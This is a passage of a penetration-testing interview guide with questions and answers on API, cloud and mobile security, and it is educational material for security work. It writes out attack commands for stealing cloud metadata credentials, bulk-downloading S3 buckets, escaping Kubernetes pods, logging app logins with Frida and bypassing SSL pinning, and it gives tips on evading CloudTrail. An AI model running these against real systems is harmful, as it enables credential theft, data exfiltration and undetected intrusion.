Centralized layer in front of microservices — handles auth, rate limiting, routing, logging, transformation. Examples: Kong, AWS API Gateway, Azure APIM, Apigee, Tyk. Security pivot point: misconfigured gateways bypass internal controls (path traversal in route mapping → access to unintended backend), or expose backends directly when gateway is bypassed (find backend IP via Shodan).

Q304. Show an API rate limit bypass via header manipulation.

If gateway tracks rate by X-Forwarded-For (set by upstream), attacker can set: X-Forwarded-For: random.IP, X-Originating-IP: 1.2.3.4, X-Remote-IP: 5.6.7.8, X-Client-IP: 9.10.11.12. Each unique value = new bucket. Other tricks: ?random=N as cache buster, case-changing headers, alternate paths (//login vs /login).

Q305. How do you find API keys in mobile apps and frontend code?

Mobile: apktool d app.apk → grep -r 'api_key\|AKIA\|sk_\|bearer' res/ smali/. iOS: ipa decryption + strings. Frontend: view-source, inspect JS bundles (search for 'apiKey', 'AKIA[A-Z0-9]{16}', service-specific patterns). Tools: trufflehog (works on any directory), nosecone, semgrep with secret rules. Found keys must be tested in scope; report immediately.

Q306. What is HMAC request signing and what attacks does it prevent?

Client signs each request (method + path + body + timestamp) with a shared secret; server validates. Prevents: 1) Replay (timestamp window + nonce). 2) Tampering (signature wouldn't match). 3) MitM modification. Common in financial APIs (AWS SigV4, Razorpay, Stripe webhooks). Pentesters check: nonce reuse allowed? Timestamp skew window too wide? Signature algo accepts weak hashes? Body included in signature?

Q307. What is a Webhook and what are its security concerns?

Webhooks are HTTP callbacks — service A POSTs to service B's URL when an event happens (Stripe payment success). Risks: 1) Missing signature validation → attacker POSTs forged events to B's webhook URL. 2) SSRF — outbound webhooks let attacker set webhook URL to 127.0.0.1 or metadata service. 3) Replay attacks if no nonce. 4) Webhook endpoint exposed to internet without auth except signature.

Q308. Show how SSRF can hit a webhook endpoint setting.

App allows users to configure webhook URL: webhook=http://customer.com/events. Attacker sets webhook=http://169.254.169.254/latest/meta-data/iam/security-credentials/. App's webhook firing logic fetches that URL and (depending on impl) may render response, log it, or follow redirects. Result: AWS metadata cred theft. Mitigation: deny-list private IPs at outbound layer, validate target on schedule.

Q309. How do you test for race conditions in APIs?

1) Identify endpoints with shared state (coupon redeem, withdraw, vote, like). 2) Use Burp's 'Send group in parallel (single packet)' — HTTP/2 multiplexes N requests in one TCP packet, eliminating jitter. 3) Send 50 identical state-change requests. 4) Check outcome — was credit applied 50 times, vote counted twice, etc. Turbo Intruder is the manual alternative.

Q310. Real-world API breach example you can describe.

Peloton (2021): /api/user/<id> returned user profile (account_id, gender, age, location, weight, workouts) — no authentication required, simple ID iteration. 3M+ users affected. Demonstrates classic API-1 BOLA + API-2 broken auth (none required). Disclosed by Pen Test Partners; Peloton initially didn't acknowledge severity. Lesson: every API endpoint needs explicit auth + per-object authz.

Q311. How do you pentest gRPC?

gRPC uses HTTP/2 + Protocol Buffers (binary). Tools: grpcurl (CLI for invoking when you have proto files), grpc-web for browser-accessible variants, Burp's gRPC extension (parses HTTP/2 frames), Postman supports gRPC. Without .proto files, reflection (if enabled) lets you discover service methods: grpcurl -plaintext target:50051 list. Test BOLA/BFLA/input validation just like REST.

Q312. What is SOAP and how do you test it?

Simple Object Access Protocol — XML messaging over HTTP. WSDL file describes service. Tools: SoapUI (commercial+free), Burp imports WSDL (Wsdler extension). Vulnerabilities: XXE (XML parser), XPath injection, SOAP action spoofing, WS-Security implementation flaws (weak signatures, encryption misuse), SAML signature wrapping if SAML is the auth.

Q313. What is SAML and what are its common vulnerabilities?

Security Assertion Markup Language — XML-based SSO standard. SP (service provider) trusts IdP (identity provider) assertions. Vulnerabilities: 1) XML Signature Wrapping (XSW) — payload contains two assertions; SP validates signature on legit one but uses the malicious one. 2) Signature stripping if SP accepts unsigned. 3) XXE in assertion. 4) Recipient/audience not validated. 5) IdP-initiated flow CSRF. SAMLRaider Burp plugin automates XSW.

Q314. What is JSON Hijacking and is it still relevant?

Old attack — attacker's site includes target's JSON-returning endpoint as <script src> tag. If the JSON started with an array literal, old browsers (IE6, FF<3) executed it and the attacker could redefine Array constructor to steal data. Modern browsers ignore JSON in script tags; mostly historical. Mitigations (still used): require POST/custom headers, prepend ')]}'(', or wrap JSON in object literal {data:[...]}.

Q315. What does an API security testing checklist look like?

Auth: rate limits, MFA, password policy, token expiry, JWT validation. AuthZ: BOLA on every parameterized endpoint, BFLA on admin functions. Input: injection (SQL/NoSQL/Command/SSRF/XXE/SSTI) on every input. Output: excessive data, error verbosity, sensitive headers (Server, X-Powered-By). Misc: CORS, rate limit, TLS, secret management, third-party deps. Use 42Crunch's REST API security checklist or OWASP ASVS API section as reference.

Q316. How do you handle GraphQL batching attacks?

GraphQL supports query batching — sending an array of queries in one HTTP request. Attacker uses it to: 1) Brute force without triggering per-request rate limits (1000 login mutations in one request). 2) Hide individual queries from monitoring. Test: POST array of identical mutations. Mitigation: limit batch size or disable batching for sensitive ops.

Q317. What is an API security misconfig with CORS — show it.

Vulnerable header: Access-Control-Allow-Origin: <reflected Origin> + Access-Control-Allow-Credentials: true. Test: send request from Burp with Origin: https://evil.com → response includes ACAO: https://evil.com + ACAC: true. Now attacker.com JavaScript can fetch the API with credentials and read responses. Impact: full account compromise via JS on attacker page.

Q318. What's the deal with public S3 buckets and APIs?

Many APIs store user-uploaded content in S3 buckets — if bucket is public-listable, attacker enumerates all uploaded files. If bucket is public-readable with predictable names (uploads/user_<id>/file_<id>.pdf), IDOR-like access. Test: aws s3 ls s3://bucket --no-sign-request, S3Scanner, cloud_enum. The 2022 Australia Telco Optus breach exposed 9.8M records via this pattern.

CHAPTER 06

Cloud Pentesting

AWS
Azure
GCP
Kubernetes

Chapter 06 — Cloud Pentesting

AWS | Azure | GCP | Kubernetes

Q321. How is cloud pentesting different from traditional pentesting?

Shared responsibility model: provider secures the infrastructure (hypervisor, hardware), customer secures their config (IAM, network, data). Pentest scope is limited to customer-controlled layers. Different attack surface: misconfig (public S3, open security groups, weak IAM) dominates over RCE. Tools differ (Pacu, ScoutSuite). Often requires customer providing read-only credentials for the engagement to be efficient.

Q322. What permissions do you typically request for an AWS pentest?

Read-only first: SecurityAudit + ReadOnlyAccess managed policies. For active testing: a dedicated audit role with sts:AssumeRole, plus permissions to enumerate IAM (iam:List*, iam:Get*), inspect data store metadata, and read logs (cloudtrail:LookupEvents). For exploit testing, narrowly scoped permissions that mimic an attacker post-IAM-key-leak. Always document in ROE.

Q323. What is the AWS Shared Responsibility Model in pentest terms?

AWS secures 'of' the cloud (datacenter, networking, hypervisor) — you can't test these. Customer secures 'in' the cloud (IAM, app code, data, network ACLs) — these are in scope. Notify AWS for some forms of testing (no notification needed for most penetration testing of your own resources as of 2019, but DDoS/network stress still require notification per acceptable use).

Q324. AWS pentest permitted vs not-permitted services.

Permitted (no prior approval as of current AWS policy): EC2, RDS, CloudFront, ApiGW, Lambda, Lightsail, Elastic Beanstalk. Not permitted: simulated DDoS, port flood, protocol flood, request flood, DNS zone walking, security control bypass against AWS itself. Use the AWS Vulnerability and Penetration Testing Policy as the authority — it changes.

Q325. Explain AWS IAM key components.

Users, Groups, Roles, Policies. Users are human/long-term identities; Roles are assumable identities (used by services/EC2/Lambda or cross-account). Policies (JSON documents) grant Allow/Deny on Actions+Resources+Conditions. Identity policies (attached to users/roles/groups) vs Resource policies (attached to S3 buckets, KMS keys, SQS queues). Service Control Policies (SCPs) at the Organization level enforce maximum permissions across accounts.

Q326. How does IAM evaluate a request?

1) Explicit deny — final answer, always wins. 2) Organization SCP — must allow. 3) Resource-based policy. 4) Identity-based policy. If any explicit Allow with no Deny, request granted; default is implicit Deny. For cross-account: source account must allow AND destination resource policy must allow. Conditions (e.g., aws:SourceIp, aws:MultiFactorAuthPresent) further restrict.

Q327. What is the AWS Instance Metadata Service (IMDS) and IMDSv1 vs v2?

Service at 169.254.169.254 — EC2 instances query it for metadata and temporary IAM creds for their attached role. IMDSv1: GET requests, no auth — vulnerable to SSRF stealing creds (Capital One 2019). IMDSv2: requires session token obtained by PUT first — defeats simple SSRF. Mitigation: enforce IMDSv2 only at instance and account level (HttpTokens=required).

Q328. Command to steal IMDS creds via SSRF (IMDSv1).

Fetch role name, then creds for that role; export to env and use AWS CLI.

```
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# Export AccessKeyId, SecretAccessKey, Token from output
aws sts get-caller-identity
```

Q329. What is Pacu?

AWS-focused open-source exploitation framework by Rhino Security Labs. After obtaining AWS creds, Pacu enumerates, identifies privilege escalation paths, and runs modules to exploit them — IAM privesc, EC2 unauthorized AMI access, Lambda backdoor, etc. Like Metasploit for AWS. Workflow: import_keys, run iam__enum_permissions, run iam__privesc_scan, then exploit.

Q330. Name 5 AWS IAM privesc paths Pacu can detect.

1) CreatePolicyVersion — set new default policy that grants admin. 2) AttachUserPolicy — attach AdministratorAccess to yourself. 3) PassRole + EC2 RunInstances — launch EC2 with admin role, SSH in, use that role. 4) PassRole + Lambda CreateFunction — Lambda with admin role, execute. 5) UpdateAssumeRolePolicy — change a role's trust policy to let you assume it. Rhino's blog has 21+ paths documented.

Q331. What is the difference between IAM user keys and STS temporary credentials?

IAM user keys (AKIA...): long-lived (no expiry unless rotated), tied to a user. STS temporary (ASIA...): short-lived (max 12h for assumed role, 36h for some flows), include a session token (third value beyond key/secret). Both grant API access. Attackers love AKIA keys (no expiry); ASIA keys auto-expire. Find AKIA-prefixed strings in git, S3, app configs, env files.

Q332. S3 misconfigurations — what do you check?

1) Bucket ACL public-read or public-read-write. 2) Bucket policy granting Principal:*. 3) Public access block not enabled at account level. 4) Object-level ACLs public even if bucket is private. 5) Pre-signed URLs with long expiry. 6) Bucket versioning enabled with old sensitive versions kept. 7) Static website hosting on a sensitive bucket. 8) Logging disabled (no forensics). 9) Block Public Access account-level misconfig (Capital One).

Q333. Commands to enumerate S3 buckets for a target.

Try common bucket names; check public listing; download contents.

```
# Brute common names
cloud_enum -k targetcorp -k target-corp
# Test a candidate
aws s3 ls s3://targetcorp-backups --no-sign-request
aws s3 cp s3://targetcorp-backups/db.sql ./ --no-sign-request
```

Q334. What is S3 ACL vs Bucket Policy vs Block Public Access?

ACL: legacy AWS access control (per-bucket, per-object) — Grants to canonical IDs or 'AllUsers'/'AuthenticatedUsers' groups. Bucket Policy: JSON policy (preferred modern way). BPA (Block Public Access): account/bucket-level kill switch that overrides ACLs and policies preventing accidental exposure. Best practice: enable BPA, use bucket policy only, disable ACLs.

Q335. What is the 'AuthenticatedUsers' S3 ACL gotcha?

Granting access to 'AuthenticatedUsers' means ANY AWS account holder, not just users in your account. A common misconfig — admins think it means 'authenticated within my org'. Test: any AWS account with valid creds can access. Detection: ScoutSuite/Prowler flag this. Mitigation: avoid this ACL principal; use specific account IDs or roles.

Q336. How do you find sensitive content in S3 buckets you have access to?

Recursive ls + filter, then download interesting files.

```
aws s3 ls s3://bucket --recursive | sort -k1
# Search for keywords in object names
aws s3 ls s3://bucket --recursive | grep -E &#x27;(\.sql|\.bak|\.env|password|backup|dump)&#x27;
# Sync entire bucket
aws s3 sync s3://bucket ./bucket-loot --no-sign-request
```

Q337. What is the GitHub Actions OIDC AWS role assume pattern, and how is it sometimes broken?

GitHub Actions can assume an AWS role using OIDC — no long-lived secrets needed. The role's trust policy must restrict to specific repos/branches. Misconfig: trust policy with wildcard sub claim like 'repo:*/*' (any repo can assume role!), or only validating audience but not the repo. Result: any GitHub user can build their own action and assume your role. Always pin to org/repo/branch in conditions.

Q338. What are common EC2 misconfigurations?

1) Public IP + 0.0.0.0/0 in security group on sensitive ports (22, 3389, 3306). 2) IMDSv1 enabled. 3) Default SG allows internal lateral movement. 4) User-data script with secrets (cleartext password in metadata). 5) IAM role attached with overly permissive policy. 6) EBS snapshots public. 7) AMIs public with embedded secrets. 8) No detailed monitoring / no flow logs. ScoutSuite + Prowler find these.

Q339. Show a command to enumerate all public EC2 IPs in an account.

aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PublicIpAddress,SecurityGroups[].GroupId]' --output table

Q340. What is EBS snapshot exposure and how do you find it?

EBS snapshots can be made public or shared with specific AWS accounts. Public snapshots can contain entire production filesystems (with secrets, source code, customer data). bishopfox/dufflebag or aws ec2 describe-snapshots --restorable-by-user-ids all. The 'permission-to-restore' attribute reveals public ones. Mitigation: never make snapshots public; periodic audit.

Q341. What is Lambda and what are its specific attack vectors?

Serverless compute — code runs in response to triggers, scales automatically. Risks: 1) Env vars with secrets (visible to anyone who can read Lambda config). 2) Over-permissive execution role. 3) Source code with vulns + low patching cadence. 4) Event injection (e.g., SQS message triggers Lambda — attacker controls message body). 5) Lambda Layers from untrusted sources. 6) Dependency confusion in node_modules.

Q342. How do you exploit a Lambda with overly permissive role?

If Lambda has overly broad iam:* or s3:*, and you can: 1) Modify the Lambda function code (lambda:UpdateFunctionCode) — inject backdoor to exfil creds. 2) Invoke the Lambda with crafted event. 3) Or read env vars containing secrets (lambda:GetFunctionConfiguration reveals env). Once code is yours, the role becomes yours during execution. Pacu has the lambda__backdoor_new_users module.

Q343. What is the AWS Lambda environment variable exposure?

Env vars passed to Lambda are stored in plain text and readable by anyone with lambda:GetFunctionConfiguration. Developers often put DB passwords, API keys, JWT secrets there. Test: aws lambda list-functions then aws lambda get-function-configuration --function-name X. Mitigation: use KMS-encrypted env vars or AWS Secrets Manager + IAM permissions to fetch at runtime.

Q344. Azure pentest — key concepts to know.

Subscriptions (billing boundary), Resource Groups (logical containers), Azure AD / Entra ID (identity), Managed Identities (Azure equivalent of EC2 instance role), Role-Based Access Control (RBAC) with built-in/custom roles. AzCLI + PowerShell Az module + Azure portal. Tools: AzureHound (BloodHound for Azure), MicroBurst, ROADtools, Stormspotter.

Q345. What is Azure AD (Entra ID) and what are key attack vectors?

Microsoft's cloud identity service — central to M365/Azure. Attacks: 1) Password spray (legacy auth endpoints with no MFA — SMTP, IMAP, ActiveSync). 2) Device code phishing (no fake login page needed). 3) Token theft via XSS or stealer. 4) Conditional Access bypasses (older protocols). 5) Service principal abuse — apps with overprivileged Graph API permissions. 6) Cross-tenant 'multi-tenant app' misconfigs.

Q346. What is the device code phishing attack?

Microsoft device-code flow: a device with no keyboard requests a code, the user visits aka.ms/devicelogin and enters it to authorize. Attacker initiates a device-code flow against the target tenant, sends the code to the victim via email/Teams claiming it's for IT support. Victim enters code, authorizes attacker. Tool: TokenTactics. Mitigation: Conditional Access blocking device code, user awareness.

Q347. What is AzureHound and how is it used?

Azure equivalent of SharpHound — collects Azure AD + Azure RM data into BloodHound for path analysis. Finds: paths from a low-priv account to Global Administrator, abuse of Application Administrator role (can assign credentials to apps), Managed Identity over-permissions, custom role analysis. Run: azurehound list --tenant <id> -u user -p pass -o data.json then import.

Q348. Azure attack — abusing Managed Identity from a compromised VM.

Managed Identity is like EC2 instance role — assigns Azure AD identity to a VM/AppService. Metadata endpoint: http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/&api-version=2018-02-01 with Metadata: true header. Token bearer authenticates as the managed identity — privileges depend on assigned roles.

Q349. Command to grab Azure managed identity token from a compromised VM.

```
curl -H &#x27;Metadata: true&#x27; &#x27;http://169.254.169.254/metadata/identity/oauth2/token?resource
```

Q350. What are Azure 'Application Permissions' vs 'Delegated Permissions'?

Delegated: app acts on behalf of a signed-in user; permissions are intersect of app perms and user perms. Application: app acts as itself (no user); permissions are exactly what app was granted. Application permissions to Microsoft Graph like 'Mail.ReadWrite.All' = app can read every mailbox in the tenant. Vulnerability: app with broad Application perms compromised → full tenant data. Audit ALL app registrations regularly.

Q351. GCP pentest — key concepts.

Organization → Folders → Projects → Resources. IAM at every level with inheritance. Service Accounts (similar to AWS IAM roles + users combined). Workload Identity (GKE service account binding). Metadata server at metadata.google.internal (requires 'Metadata-Flavor: Google' header). Tools: gcloud CLI, ScoutSuite, GCPBucketBrute, gcp_enum, Pacu has limited GCP modules.

Q352. How do you steal GCP metadata service tokens?

Requires the special header to prevent simple SSRF.

```
curl -H &#x27;Metadata-Flavor: Google&#x27; http://metadata.google.internal/computeMetadata/v1/instance
```

Q353. GCP IAM privesc — key permissions to look for.

1) iam.serviceAccountKeys.create — create a key for any SA you have access to, then auth as it. 2) iam.serviceAccounts.actAs — impersonate SA in launching resources. 3) cloudbuild.builds.create — Cloud Build runs as Compute Engine default SA (high privs). 4) deploymentmanager.deployments.create. 5) cloudfunctions.functions.create + actAs. RhinoSecurity Labs has a deep blog on this.

Q354. What is GCP Cloud Storage and how is it different from S3?

Object storage similar to S3. Differences: 1) Uniform bucket-level access (no per-object ACLs by default in new buckets). 2) Public access through 'allUsers' or 'allAuthenticatedUsers' (any Google account). 3) Signed URLs use V4 signature. 4) Bucket naming is globally unique like S3. Misconfigs: bucket allows allUsers:read, weak object-level ACLs (if uniform is off). Tool: gcs-bruteforce, GCPBucketBrute.

Q355. Kubernetes pentest — key attack surfaces.

1) Exposed Kubernetes Dashboard (default no-auth before 1.7). 2) Unauthenticated kubelet API (10250/10255). 3) Public etcd (port 2379) — direct access to cluster state including secrets. 4) Pod escape via privileged: true or hostPath: /. 5) Service Account token abuse (every pod has /var/run/secrets/kubernetes.io/serviceaccount/token). 6) RBAC over-permissions. 7) Container image vulns. Tools: kube-hunter, kubescape, peirates.

Q356. What is kube-hunter?

Aqua Security's tool that pentests Kubernetes clusters from inside (active hunt with --active) or outside. Discovers: open ports, exposed dashboards, unauth API access, kubelet exposure, exposed etcd, weak secrets. Useful for client engagements where you're given access from a pod or external IP. Output flags findings with severity (e.g., KHV-X-XX).

Q357. How do you escape a Kubernetes pod with --privileged?

Privileged container can access all host devices and capabilities. Mount the host filesystem and chroot in: mkdir /host && mount /dev/sda1 /host && chroot /host. Or load a kernel module. Or use the host's cgroups to schedule a process. Once on host, find kubelet kubeconfig and you have cluster admin. Mitigation: never use privileged: true; use specific capabilities + AppArmor/seccomp.

Q358. What is a Kubernetes Service Account token and how is it abused?

Every pod auto-mounts a service account JWT at /var/run/secrets/kubernetes.io/serviceaccount/token. The token is for the SA assigned to the pod (default if not specified). With it, you can call the API server: curl -k -H 'Authorization: Bearer $(cat token)' https://$KUBERNETES_SERVICE_HOST/api/v1/secrets. Default SA often has more rights than needed. Disable automountServiceAccountToken when not needed.

Q359. Command to enumerate Kubernetes RBAC with kubectl auth can-i.

kubectl auth can-i --list lists all permissions of the current SA/user.

```
kubectl auth can-i --list
kubectl auth can-i create pods --namespace=kube-system
kubectl auth can-i get secrets --all-namespaces
```

Q360. What is etcd exposure and what does it leak?

etcd is Kubernetes' backing store — every secret, configmap, RBAC binding, pod spec in plaintext (unless encryption-at-rest is configured). If etcd is on port 2379 without auth (legacy clusters), attacker dumps the entire cluster state. etcdctl get / --prefix --keys-only. Mitigation: bind etcd to loopback, use mutual TLS, enable encryption-at-rest with KMS.

Q361. What is ScoutSuite?

NCC Group's multi-cloud security auditing tool. Read-only — collects config across AWS/Azure/GCP/Aliyun/Oracle Cloud and identifies misconfigs. Output is an HTML report with severity-rated findings. First step on most cloud pentests after getting read creds: scout aws --no-browser to generate the baseline.

Q362. What is Prowler?

AWS (and now Azure/GCP) security best-practices scanner — CIS benchmark, AWS Well-Architected, HIPAA, GDPR, SOC2 checks. CLI: prowler aws (300+ checks). Open source, actively maintained. Often run alongside ScoutSuite — Prowler is compliance-focused, ScoutSuite is misconfig-focused.

Q363. Show command to run Prowler against current AWS creds.

```
prowler aws --output-formats csv json html --severity high critical
```

Q364. What is CloudSploit and how does it differ from ScoutSuite/Prowler?

Aqua Security's (now CloudSploit) multi-cloud scanner. Similar to ScoutSuite but with more checks and SaaS option. ScoutSuite is more UI-rich for navigating findings; Prowler is CLI-first and compliance-mapped; CloudSploit is a balance. Pentesters often run all three because each catches different things.

Q365. Walk me through the Capital One 2019 breach.

1) Capital One had a misconfigured WAF (ModSecurity) on EC2 with an attached role having S3 read on customer data. 2) Attacker (Paige Thompson) found SSRF in the WAF allowing IMDSv1 access. 3) Stole the EC2 role's temporary credentials. 4) Used those credentials to list and download S3 buckets containing 100M+ customer records. 5) Boasted on social media; FBI arrested her. Lessons: IMDSv2 (released after this), least-privilege IAM, network egress controls, SSRF protection.

Q366. What is the SolarWinds-style supply chain attack in cloud terms?

Threat actors compromised SolarWinds' build pipeline, injecting backdoor into Orion updates signed with valid certs. Orion ran with high privs in customer cloud environments. From there, attackers used golden SAML — forging SAML tokens to access M365/Azure resources. Lessons: monitor service-principal token issuance, treat updates from trusted vendors as potential attack surface, defense-in-depth even for 'trusted' software.

Q367. What is Cloud Security Posture Management (CSPM)?

Tools that continuously monitor cloud configs for risks and compliance. Examples: Wiz, Orca, Lacework, Prisma Cloud, Microsoft Defender for Cloud. Pentest report should mention if customer lacks CSPM — many misconfigs would have been caught. Note that even with CSPM, custom apps need manual pentest — CSPM only audits infrastructure config.

Q368. What is CSPM vs CNAPP vs CWPP?

CSPM: config audit (S3 public, weak IAM). CWPP (Cloud Workload Protection Platform): runtime protection on hosts/containers (vuln scan, EDR-like). CNAPP (Cloud-Native Application Protection Platform): umbrella combining CSPM + CWPP + CIEM (Cloud Infrastructure Entitlement Management — IAM analysis) + KSPM (Kubernetes-specific). Modern direction is CNAPP — consolidated platform.

Q369. How do you find secrets in an AWS account once you have access?

1) Lambda env vars (lambda:GetFunctionConfiguration). 2) ECS task definitions (env, secrets). 3) Systems Manager Parameter Store (ssm:GetParameters; check for SecureString). 4) AWS Secrets Manager (secretsmanager:GetSecretValue). 5) EC2 user-data (often contains bootstrap secrets). 6) CloudFormation stack outputs. 7) AppConfig. 8) S3 objects (grep .env, .conf). Pacu's enum_secrets module automates.

Q370. What is AWS KMS and how could a pentester abuse it?

Key Management Service — manages encryption keys. CMKs (Customer Master Keys) can be used to encrypt/decrypt data and wrap data keys. If attacker compromises an identity with kms:Decrypt on the right CMK, they can decrypt anything that key encrypted. Look at key policies for over-permissive principals. Watch for cross-account key sharing. Use AWS CloudTrail to detect anomalous decrypt patterns post-breach.

Q371. What is IaC (Infrastructure as Code) and what should you scan it for?

Terraform, CloudFormation, ARM templates, Bicep, Pulumi — code that defines cloud resources. Security scanning catches misconfigs before deployment: tfsec, Checkov, Snyk IaC, Terrascan. Catches: public S3 in IaC, IAM:* in policies, sg-0.0.0.0/0:22 in security groups, missing encryption settings. Shift-left — find issues in PR review, not in prod scan.

Q372. What is CloudGoat?

Rhino Security Labs' vulnerable-by-design AWS environment, deployed via Terraform. Contains 'scenarios' that simulate real misconfigs — IAM privesc paths, exposed Lambdas, vulnerable EC2s. Excellent practice ground; AWSGoat, TerraGoat (Bridgecrew) are similar projects. Practice them before client engagements.

Q373. What are container registry attack vectors?

1) Public Docker Hub images with embedded secrets (developer pushed by mistake). Search: grep through layers. 2) Private registries (AWS ECR, ACR) with weak access controls. 3) Image tampering — push malicious image with same tag as legitimate (compromised registry creds). 4) Vulnerable base images (old Debian with unpatched RCEs). 5) Dependency confusion in build (private package name available on public registry). Tools: trivy, grype scan images.

Q374. Show a trivy scan of a container image.

```
trivy image --severity HIGH,CRITICAL --ignore-unfixed nginx:1.18
```

Q375. What are CloudTrail and AWS GuardDuty and how do you evade them?

CloudTrail: logs every AWS API call (mgmt + data events). GuardDuty: threat detection on CloudTrail + VPC Flow Logs + DNS logs. Evasion: 1) Use temporary creds in unusual regions (sometimes triggers alerts). 2) Watch for write API calls (more closely monitored than reads). 3) Read-only enumeration is usually quiet. 4) Disable trail logging on a specific resource (cloudtrail:DeleteTrail — also logged). 5) Use IMDS-stolen creds from same instance (whitelisted as expected behavior unless source IP correlates wrong).

Q376. How do you find which IAM identity is being used (whoami in AWS)?

aws sts get-caller-identity returns Account, UserId (with AKIA/AROA prefix indicating user vs assumed role), and ARN. Once you know, list policies attached: aws iam list-attached-user-policies --user-name X and aws iam list-user-policies. For roles: aws iam list-attached-role-policies. Pacu's iam__enum_permissions automates this.

CHAPTER 07

Mobile Pentesting

Android
iOS
Frida
MASVS

Chapter 07 — Mobile Pentesting

Android | iOS | Frida | MASVS

Q381. What is OWASP Mobile Top 10 (2024)?

1) M1 Improper Credential Usage. 2) M2 Inadequate Supply Chain Security. 3) M3 Insecure Authentication/Authorization. 4) M4 Insufficient Input/Output Validation. 5) M5 Insecure Communication. 6) M6 Inadequate Privacy Controls. 7) M7 Insufficient Binary Protections. 8) M8 Security Misconfiguration. 9) M9 Insecure Data Storage. 10) M10 Insufficient Cryptography. (Replaced 2016 list.) Also use OWASP MASVS (Mobile App Security Verification Standard) and MSTG (Testing Guide).

Q382. What is the typical mobile pentest scope and approach?

Three layers: 1) Static analysis (reverse-engineer APK/IPA — decompile, search secrets, check protections). 2) Dynamic analysis (run app, intercept network, hook functions with Frida/Objection, observe storage). 3) Backend API testing (often the largest impact — apps are clients to APIs, and same OWASP API rules apply). Plus device-side: insecure data storage, IPC abuse, deeplink exploitation.

Q383. What is MobSF?

Mobile Security Framework — open source, all-in-one mobile pentest tool. Static analysis (APK/IPA decompile, manifest review, secret detection, library version checks) and dynamic analysis (Frida-based, runs app in emulator, captures traffic). Web UI; great starting point on any engagement. mobsfscan is the CLI for CI/CD.

Q384. What is an APK and what's inside?

Android Package — a ZIP archive with .apk extension. Contents: AndroidManifest.xml (permissions, components, intents), classes.dex (Dalvik bytecode of Java/Kotlin code), resources.arsc (compiled resources), res/ (layouts, drawables), assets/ (raw files), lib/ (native .so libraries per ABI), META-INF/ (signatures). Modern AABs (Android App Bundles) get repackaged to APKs per device by Play.

Q385. Command to decompile an APK.

apktool decodes manifest+resources; jadx decompiles dex to Java.

```
apktool d app.apk -o app-decoded
jadx -d app-jadx app.apk
```

Q386. What is the AndroidManifest.xml — what do you look for?

Declares app metadata, permissions, components (Activities, Services, BroadcastReceivers, ContentProviders), intent filters. Look for: 1) exported='true' components (callable from other apps — IPC attack surface). 2) Excessive permissions. 3) android:debuggable='true' (production should be false). 4) android:allowBackup='true' (lets adb backup data). 5) usesCleartextTraffic='true' (HTTP allowed). 6) Custom permissions with weak protection level.

Q387. How do you intercept an Android app's HTTPS traffic?

1) Install Burp CA cert into device user store (open cert URL in browser, install). 2) For Android 7+ apps targeting API 24+: user-store certs are NOT trusted by default; need to either patch the app (Network Security Config), install cert as system cert (root required), or use Frida to disable cert validation. 3) Alternative: use objection's android sslpinning disable or patch the network_security_config.xml using apk-mitm.

Q388. Command to install a CA cert as a system cert (rooted device).

Hash the cert with OpenSSL c_rehash naming, push to /system/etc/security/cacerts/.

```
openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1
# Use that hash as the filename
cp burp.pem 9a5ba575.0
adb root &amp;&amp; adb remount
adb push 9a5ba575.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0
adb reboot
```

Q389. What is SSL/certificate pinning and how do you bypass it?

App rejects any certificate that doesn't match the bundled fingerprint, blocking MitM even with a CA installed. Bypass: 1) Frida + Objection: objection -g com.target.app explore, then android sslpinning disable. 2) Frida scripts (frida-ios-dump, sslunpinning_universal). 3) Patch the app to remove pinning (apk-mitm automatically). 4) Manual code patching to remove the verification call.

Q390. Command to attach Frida and bypass SSL pinning with Objection.

```
objection -g com.target.app explore — then in REPL: android sslpinning disable
```

Q391. What are common Android data storage vulnerabilities?

1) Plaintext credentials in SharedPreferences (XML files in /data/data/<pkg>/shared_prefs/). 2) Sensitive data in internal SQLite databases (/data/data/<pkg>/databases/). 3) External storage (sdcard) — world-readable. 4) Backup files (allowBackup=true → adb backup -f bk.ab gets data). 5) Log statements with sensitive data (logcat). 6) Keychain misuse. Test: adb shell run-as com.target.app ls (works on debuggable builds).

Q392. What is Drozer?

MWR's Android pentest framework — remote shell into an Android app context. Lets you call exported Activities, Services, BroadcastReceivers, ContentProviders from your workstation. Find exported components: run app.package.attacksurface com.target.app. Query content provider: run app.provider.query content://com.target/... Test IPC by invoking actions. Aging tool but still useful.

Q393. What is intent injection and a deeplink exploitation?

App declares an intent filter for a custom scheme (myapp://) or URL host. Attacker crafts a malicious URL that, when opened, triggers an Activity with attacker-controlled data. Risks: bypassed auth (jump to internal screen), parameter injection (deeplink params reach a WebView -> XSS), file path traversal. Test all exported components, build a deeplink fuzzer.

Q394. What is an Android WebView vulnerability?

WebView embeds web content in apps. Risks: 1) setJavaScriptEnabled(true) + addJavascriptInterface(obj,'name') exposes Java methods to JS — if attacker controls the loaded HTML (XSS, MitM), they call Java methods (RCE in app context). 2) setAllowFileAccess(true) + LFI in loaded HTML reads device files. 3) Mixed-content (HTTP loaded over HTTPS) downgrades. 4) Universal XSS via setAllowUniversalAccessFromFileURLs.

Q395. How do you decompile a DEX class to readable Java?

jadx-gui app.apk → browse classes interactively. Or CLI: jadx -d output app.apk. For dynamic analysis with reasoning, use Ghidra/Bytecode Viewer. dex2jar + JD-GUI is older alternative. Obfuscated apps (R8/ProGuard) make analysis hard — class names like a.a.b — but logic preserved.

Q396. What is Frida and how do you use it for Android?

Dynamic instrumentation framework — inject JavaScript into running native processes to hook functions. For Android: frida-server runs on rooted device/emulator; Frida client (CLI or Python) connects via USB/network. Use: hook crypto functions to see keys, hook ssl validation to bypass pinning, hook root checks. Massive script library at codeshare.frida.re.

Q397. Show a Frida one-liner to hook an Android method.

Hook 'login' method of MainActivity to log creds and call original.

```
frida -U -f com.target.app -l hook.js --no-pause
# hook.js:
Java.perform(function() {
  var Main = Java.use(&#x27;com.target.app.MainActivity&#x27;);
  Main.login.implementation = function(u, p) {
    console.log(&#x27;Login: &#x27; + u + &#x27; / &#x27; + p);
    return this.login(u, p);
  };
});
```

Q398. What is Objection and how does it relate to Frida?

